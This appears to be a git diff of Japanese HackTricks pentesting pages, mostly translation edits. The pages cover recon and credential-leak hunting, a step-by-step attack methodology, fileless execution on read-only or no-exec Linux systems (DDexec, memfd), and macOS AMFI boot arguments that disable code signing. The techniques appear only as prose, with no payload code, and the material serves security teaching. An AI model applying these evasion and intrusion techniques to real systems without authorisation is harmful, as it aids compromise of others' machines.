@ -492,7 +492,7 @@ _サブドメインがクライアントによって制御されていないIP
* [**https://securitytrails.com/**](https://securitytrails.com/)
特定のIPアドレスを指すドメインを確認するには、[**hakip2host**](https://github.com/hakluke/hakip2host)というツールを使用できます。
特定のIPアドレスを指すドメインを確認するには、[**hakip2host**](https://github.com/hakluke/hakip2host)ツールを使用できます。
### **脆弱性の検索**
@ -504,7 +504,7 @@ _サブドメインがクライアントによって制御されていないIP
> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。ウェブサーバーを探す時間です。
前のステップで、**発見たIPとドメインのいくつかのリコンをすでに実行しているかもしれません**ので、**すでにすべての可能なウェブサーバーを見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。
前のステップで、**発見されたIPとドメインのいくつかのリコンをすでに実行しているかもしれません**ので、**すでにすべての可能なウェブサーバーを見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきます。
これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープによって許可されている場合**)。
@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **スクリーンショット**
スコープ内に存在する**すべてのウェブサーバー**(会社の**IP**やすべての**ドメイン**、**サブドメイン**の中から)を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにして、すべてのサーバーのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**で、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。
スコープ内に存在する**すべてのウェブサーバー**(会社の**IP**やすべての**ドメイン**、**サブドメイン**の中から)を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにして、すべてのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**で、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。
提案されたアイデアを実行するには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用できます。**
@ -534,7 +534,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
次に、それらの単語を使用して**順列**を生成する必要があります(詳細については[**第二ラウンドDNSブルートフォース**](./#second-dns-bruteforce-round)を確認してください)。
得られたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
得られたワードリストを使用して、[**cloud\_enum**](https://github.com/initstring/cloud\_enum)**、**[**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**、**[**cloudlist**](https://github.com/projectdiscovery/cloudlist) **または** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**を使用できます。**
クラウド資産を探す際には、**AWSのバケットだけでなく、他のものも探すべきです**。
@ -553,7 +553,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **脆弱性の検索**
メールは後で**ウェブログインや認証サービス**SSHなどを**ブルートフォース**するのに役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関するさらなる情報**を提供します。
メールは後で**ウェブログインや認証サービス**SSHなどの**ブルートフォース**に役立ちます。また、**フィッシング**にも必要です。さらに、これらのAPIは、フィッシングキャンペーンに役立つ、メールの背後にいる**人物に関するさらなる情報**を提供します。
## 資格情報の漏洩
@ -568,7 +568,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## 秘密の漏洩
資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
資格情報の漏洩は、**機密情報が漏洩し販売された**企業のハッキングに関連しています。ただし、企業は、これらのデータベースに情報がない**他の漏洩**の影響を受ける可能性があります:
### Githubの漏洩
@ -585,14 +585,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
[github-leaked-secrets.md](github-leaked-secrets.md)
{% endcontent-ref %}
### ペーストの漏洩
### Pasteの漏洩
時には攻撃者や単なる従業員が**会社のコンテンツをペーストサイトに公開**します。これには**機密情報**が含まれている場合もあれば、含まれていない場合もありますが、検索するのは非常に興味深いです。\
[**Pastos**](https://github.com/carlospolop/Pastos)というツールを使用して、80以上のペーストサイトを同時に検索できます。
### Google Dorks
くても金のようなGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない数千の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。
いですが有用なGoogle Dorksは、**そこにあるべきでない情報を見つける**のに常に役立ちます。唯一の問題は、[**google-hacking-database**](https://www.exploit-db.com/google-hacking-database)に、手動で実行できない**数千**の可能なクエリが含まれていることです。したがって、お気に入りの10個を取得するか、[**Gorks**](https://github.com/carlospolop/Gorks)のような**ツールを使用してすべてを実行**することができます。
_すべてのデータベースを通常のGoogleブラウザを使用して実行しようとするツールは、非常に早くGoogleにブロックされるため、決して終わりません。_
@ -602,7 +602,7 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
## 公開コードの脆弱性
会社が**オープンソースコード**を持っていることがわかった場合、それを**分析**し**脆弱性**を探すことができます。
会社が**オープンソースコード**を持っていることがわかった場合、それを**分析**し**脆弱性**を探すことができます。
**言語によって**異なる**ツール**を使用できます:
@ -614,22 +614,22 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
* [**Snyk**](https://app.snyk.io/)
## [**ウェブペンテスト手法**](../../network-services-pentesting/pentesting-web/)
## [**ウェブペンテスティングの方法論**](../../network-services-pentesting/pentesting-web/)
**バグハンターによって見つかった脆弱性の大多数**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテスト手法**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。
**バグハンターによって見つかった脆弱性の大多数**は**ウェブアプリケーション**内に存在するため、この時点で**ウェブアプリケーションテストの方法論**について話したいと思います。詳細は[**こちらで確認できます**](../../network-services-pentesting/pentesting-web/)。
また、[**Web Automated Scannersオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます**。
また、[**Web自動スキャナーオープンソースツール**](../../network-services-pentesting/pentesting-web/#automatic-scanners)のセクションにも特別な言及をしたいと思います。非常に機密性の高い脆弱性を見つけることを期待すべきではありませんが、**初期のウェブ情報を得るためのワークフローに実装するのに役立ちます**。
## 再確認
> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、基本的なことです。さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
> おめでとうございます!この時点で、**すべての基本的な列挙**をすでに実行しています。はい、これは基本的なもので、さらに多くの列挙が可能です(後でさらにトリックを見ていきます)。
したがって、すでに次のことを行いました:
1. スコープ内のすべての**会社**を見つけた
2. 会社に属するすべての**資産**を見つけた(スコープ内で脆弱性スキャンを実行)
3. 会社に属するすべての**ドメイン**を見つけた
4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りはありますか
4. ドメインのすべての**サブドメイン**を見つけた(サブドメインの乗っ取りは?)
5. スコープ内のすべての**IP**CDNからのものとそうでないものを見つけた
6. すべての**ウェブサーバー**を見つけ、**スクリーンショット**を撮った(より深く見る価値のある奇妙なものはありますか?)
7. 会社に属するすべての**潜在的なパブリッククラウド資産**を見つけた
@ -649,9 +649,9 @@ _すべてのデータベースを通常のGoogleブラウザを使用して実
* [**@Jhaddix**](https://twitter.com/Jhaddix)のすべての無料コース、例えば[**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、**ハッキング不可能なものをハッキングしたい**方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
{% embed url="https://www.stmcyber.com/careers" %}
@ -664,8 +664,8 @@ GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grt
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私たちをフォローしてください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -15,9 +15,9 @@ GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.p
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)
{% embed url="https://www.stmcyber.com/careers" %}
@ -39,35 +39,35 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
外部テストを実施している場合、会社の内部ネットワークへのアクセスを取得したら、このガイドを再起動する必要があります。
{% endhint %}
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
### **2-** [**ネットワークで楽しむ**](pentesting-network/) **(内部)**
**このセクションは内部テストを実施している場合にのみ適用されます。**\
ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**受動的/能動的MitM**にネットワーク内で何が見つかるかを学ぶことを好むかもしれません。[**Pentesting Network**](pentesting-network/#sniffing)を読むことができます。
ホストを攻撃する前に、**ネットワークからいくつかの資格情報を盗む**か、**データをスニッフィング**して**受動的/能動的に(MitM)**ネットワーク内で何が見つかるかを学ぶことを好むかもしれません。 [**ペンテストネットワーク**](pentesting-network/#sniffing)を読むことができます。
### 3- [ポートスキャン - サービス発見](pentesting-network/#scanning-hosts)
**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているかを知る**ことです。[**ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
**ホストの脆弱性を探す**ときに最初に行うべきことは、どの**サービスがどのポートで実行されているか**を知ることです。[ **ホストのポートをスキャンするための基本ツール**](pentesting-network/#scanning-hosts)を見てみましょう。
### **4-** [サービスバージョンのエクスプロイトを検索する](search-exploits.md)
### **4-** [サービスバージョンの脆弱性を検索する](search-exploits.md)
どのサービスが実行されているか、そしておそらくそのバージョンを知ったら、**既知の脆弱性を検索する**必要があります。運が良ければ、シェルを取得するためのエクスプロイトがあるかもしれません...
### **5-** ペンテストサービス
実行中のサービスに特別なエクスプロイトがない場合は、各サービスの**一般的な誤設定を探す**べきです。
実行中のサービスに特別なエクスプロイトがない場合は、**各サービスの一般的な誤設定を探す**べきです。
**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**PENTESTING**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。
**この本の中には、最も一般的なサービスをペンテストするためのガイドがあります**(あまり一般的でないサービスも含む)。左のインデックスで**_**ペンテスト**_**セクションを検索してください**(サービスはデフォルトポート順に並んでいます)。
**特に** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\
**特に** [**ペンテストWeb**](../network-services-pentesting/pentesting-web/) **部分に特別な言及をしたいと思います(最も広範な部分です)。**\
また、[**ソフトウェアの既知の脆弱性を見つける方法**](search-exploits.md)に関する小さなガイドもここにあります。
**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、**追加してほしい場合は教えてください。**Googleで何も見つからない場合は、自分で**ブラインドペンテストを実施し、**サービスに接続し、ファジングして応答を読む**ことから始めることができます(あれば)。
**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、**追加してほしい場合はお知らせください。Googleで何も見つからない場合は、**自分でブラインドペンテストを実施し、**サービスに接続し、ファジングして応答を読むことから始めることができます(あれば)。
#### 5.1 自動ツール
**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。**
**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。**
#### **5.2 サービスのブルートフォース**
#### **5.2 ブルートフォースサービス**
いくつかのシナリオでは、**ブルートフォース**が**サービスを妥協する**のに役立つかもしれません。[**ここで異なるサービスのブルートフォースのチートシートを見つけてください**](brute-force.md)**。**
@ -77,7 +77,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
### **7-** [**シェルを取得する**](reverse-shells/)
何らかの方法で、**被害者でコードを実行する方法を見つけるべきです。**その後、[リバースシェルを取得するためにシステム内で使用できる可能性のあるツールのリストが非常に役立ちます](reverse-shells/)。
何らかの方法で、**被害者でコードを実行する方法を見つけるべきです。**その後、[システム内でリバースシェルを取得するために使用できる可能性のあるツールのリストが非常に役立ちます](reverse-shells/)。
特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\
@ -91,7 +91,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
### **9 -** [**データ抽出**](exfiltration.md)
おそらく、**被害者からデータを抽出する**必要があるか、**何かを導入する**必要があるでしょう(特権昇格スクリプトなど)。**ここに、これらの目的で使用できる一般的なツールに関する** [**投稿があります**](exfiltration.md)**。**
被害者から**データを抽出する**必要があるか、**何かを導入する**必要があるかもしれません(特権昇格スクリプトなど)。**ここに、これらの目的で使用できる一般的なツールに関する** [**投稿があります**](exfiltration.md)**。**
### **10- 特権昇格**
@ -99,7 +99,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
ボックス内で**root/Administrator**でない場合、**特権を昇格させる方法を見つけるべきです。**\
ここに、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権を昇格させるためのガイドがあります。**\
また、**Windowsがどのように機能するかに関するこのページも確認してください**
また、**Windowsがどのように機能するか**に関するこのページも確認してください:
* [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**NTLMの動作**](../windows-hardening/ntlm/)
@ -117,19 +117,19 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
#### **11**.1 - ルーティング
ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で他のマシンに**アクセス**できるか確認してください。\
ここで、[**Windowsでパスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)を見つけてください
ここに、[**Windowsでパスワードをダンプするためのさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)があります
#### 11.2 - 持続性
**システムを再度攻撃する必要がないように、2つまたは3つの異なる持続性メカニズムを使用してください。**\
**ここに、Active Directoryに関するいくつかの** [**持続性トリック**](../windows-hardening/active-directory-methodology/#persistence)があります。**
**ここに、Active Directoryに関するいくつかの** [**持続性トリック**](../windows-hardening/active-directory-methodology/#persistence)**があります。**
TODO: WindowsおよびLinuxの持続性投稿を完成させる
### 12 - ピボッティング
**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(ペンテスト手法を再)。\
この場合、トンネリングが必要になるかもしれません。ここで[**トンネリングに関する投稿**](tunneling-and-port-forwarding.md)を見つけることができます。\
**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(被害者が接続されている新しいネットワーク内でペンテスト手法を再開)。\
この場合、トンネリングが必要になるかもしれません。ここに[**トンネリングに関する投稿があります**](tunneling-and-port-forwarding.md)。\
また、[Active Directoryペンテスト手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\
[**NTLM**](../windows-hardening/ntlm/)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。
@ -151,9 +151,9 @@ TODO: WindowsおよびLinuxの持続性投稿を完成させる
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -15,9 +15,9 @@ GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/g
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -30,7 +30,7 @@ GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/g
## 読み取り専用 / no-execシナリオ
Linuxマシンが**読み取り専用 (ro) ファイルシステム保護**でマウントされることがますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけで、roファイルシステムでコンテナを実行することができます:
Linuxマシンが**読み取り専用 (ro) ファイルシステム保護**でマウントされることがますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけで、roファイルシステムでコンテナを実行するのが簡単だからです:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -48,14 +48,14 @@ securityContext:
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能であるため、ディスクに何も書き込めないというのは偽りです。ただし、このフォルダは**no-exec保護**でマウントされるため、ここにバイナリをダウンロードしても**実行することはできません**。
{% hint style="warning" %}
レッドチームの観点から見ると、これは**システムに存在しないバイナリをダウンロードして実行することを複雑にします**(バックドアや`kubectl`のような列挙ツールなど)。
レッドチームの観点から見ると、これは**システムに既に存在しないバイナリをダウンロードして実行することを複雑にします**(バックドアや`kubectl`のような列挙ツールなど)。
{% endhint %}
## 最も簡単なバイパス: スクリプト
バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、**任意のスクリプトを実行できます**。えば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。
バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、**任意のスクリプトを実行できます**。たとえば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。
しかし、これはあなたのバイナリバックドアや他のバイナリツールを実行するには十分ではありません。
ただし、これはバイナリバックドアや他のバイナリツールを実行するには十分ではありません。
## メモリバイパス
@ -63,9 +63,9 @@ securityContext:
### FD + execシステムコールバイパス
マシン内に**Python**、**Perl**、または**Ruby**のような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存できます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**実行するファイルとしてfdを指定**できます。
マシン内に**Python**、**Perl**、または**Ruby**のような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存できます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**fdを実行するファイルとして指定**できます。
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**でそれを**デコードおよび解凍する**ための指示を含むスクリプトが生成されます。
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**で**デコードおよび解凍する**手順を含むスクリプトが生成されます。
{% hint style="warning" %}
これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出す**デフォルトの方法がないため**、バイナリを保存するための**メモリfd**を作成するために`create_memfd`を呼び出すことができないからです。
@ -75,7 +75,7 @@ securityContext:
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、プロセスの**`/proc/self/mem`**を上書きすることによって**自分のプロセスのメモリを変更する**ことを可能にする技術です。
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、プロセスの**`/proc/self/mem`**を上書きすることによって**自分のプロセスのメモリを変更する**技術です。
したがって、プロセスによって実行されているアセンブリコードを**制御することができ**、**シェルコード**を書き込み、プロセスを「変異」させて**任意のコードを実行する**ことができます。
@ -100,7 +100,7 @@ For more information about this technique check the Github or:
### Memdlopen
DDexecと同様の目的を持つ[**memdlopen**](https://github.com/arget13/memdlopen)技術は、**メモリにバイナリを読み込む**ための**簡単な方法**を提供します。依存関係を持つバイナリを読み込むことさえ可能です。
DDexecと同様の目的を持つ[**memdlopen**](https://github.com/arget13/memdlopen)技術は、**メモリにバイナリを読み込む**ための**簡単な方法**を提供します。依存関係を持つバイナリを読み込むこと可能です。
## Distroless Bypass
@ -132,7 +132,7 @@ Distrolessコンテナでは、**通常のシェルを取得するための`sh`
**RCE脆弱性を悪用してスクリプト言語の**リバースシェル**を取得し、メモリからバイナリを実行する方法の**例**は[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)で見つけることができます。
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。
@ -147,7 +147,7 @@ GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。
</details>

View file

@ -0,0 +1,155 @@
# macOS - AMFI - AppleMobileFileIntegrity
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AppleMobileFileIntegrity.kext と amfid
これは、XNUのコード署名検証の背後にあるロジックを提供し、システム上で実行されるコードの整合性を強制することに焦点を当てています。また、権限を確認し、デバッグを許可したり、タスクポートを取得したりするなどの他の敏感なタスクを処理することもできます。
さらに、一部の操作では、kextはユーザースペースで実行されているデーモン `/usr/libexec/amfid` に連絡することを好みます。この信頼関係は、いくつかの脱獄で悪用されてきました。
AMFIは**MACF**ポリシーを使用し、起動時にフックを登録します。また、その読み込みやアンロードを防ぐと、カーネルパニックが発生する可能性があります。ただし、AMFIを弱体化させるいくつかのブート引数があります
* `amfi_unrestricted_task_for_pid`: 必要な権限なしに task\_for\_pid を許可
* `amfi_allow_any_signature`: 任意のコード署名を許可
* `cs_enforcement_disable`: コード署名の強制を無効にするためのシステム全体の引数
* `amfi_prevent_old_entitled_platform_binaries`: 権限のあるプラットフォームバイナリを無効にする
* `amfi_get_out_of_my_way`: amfiを完全に無効にする
これらは、登録されるMACFポリシーの一部です
* **`cred_check_label_update_execve:`** ラベルの更新が行われ、1が返されます
* **`cred_label_associate`**: AMFIのmacラベルスロットをラベルで更新
* **`cred_label_destroy`**: AMFIのmacラベルスロットを削除
* **`cred_label_init`**: AMFIのmacラベルスロットに0を移動
* **`cred_label_update_execve`:** プロセスの権限を確認し、ラベルの変更が許可されるべきかを判断します。
* **`file_check_mmap`:** mmapがメモリを取得し、実行可能として設定しているかを確認します。その場合、ライブラリの検証が必要かどうかを確認し、必要であればライブラリ検証関数を呼び出します。
* **`file_check_library_validation`**: ライブラリ検証関数を呼び出し、プラットフォームバイナリが別のプラットフォームバイナリを読み込んでいるか、プロセスと新しく読み込まれたファイルが同じTeamIDを持っているかなどを確認します。特定の権限により、任意のライブラリを読み込むことも許可されます。
* **`policy_initbsd`**: 信頼されたNVRAMキーを設定
* **`policy_syscall`**: バイナリに制限のないセグメントがあるか、環境変数を許可するかなど、DYLDポリシーを確認します...これは、`amfi_check_dyld_policy_self()`を介してプロセスが開始されるときにも呼び出されます。
* **`proc_check_inherit_ipc_ports`**: プロセスが新しいバイナリを実行する際、他のプロセスがプロセスのタスクポートに対してSEND権を持っている場合、それを保持するかどうかを確認します。プラットフォームバイナリは許可され、`get-task-allow`権限がそれを許可し、`task_for_pid-allow`権限が許可され、同じTeamIDを持つバイナリも許可されます。
* **`proc_check_expose_task`**: 権限を強制
* **`amfi_exc_action_check_exception_send`**: 例外メッセージがデバッガに送信されます
* **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: 例外処理中のラベルライフサイクル(デバッグ)
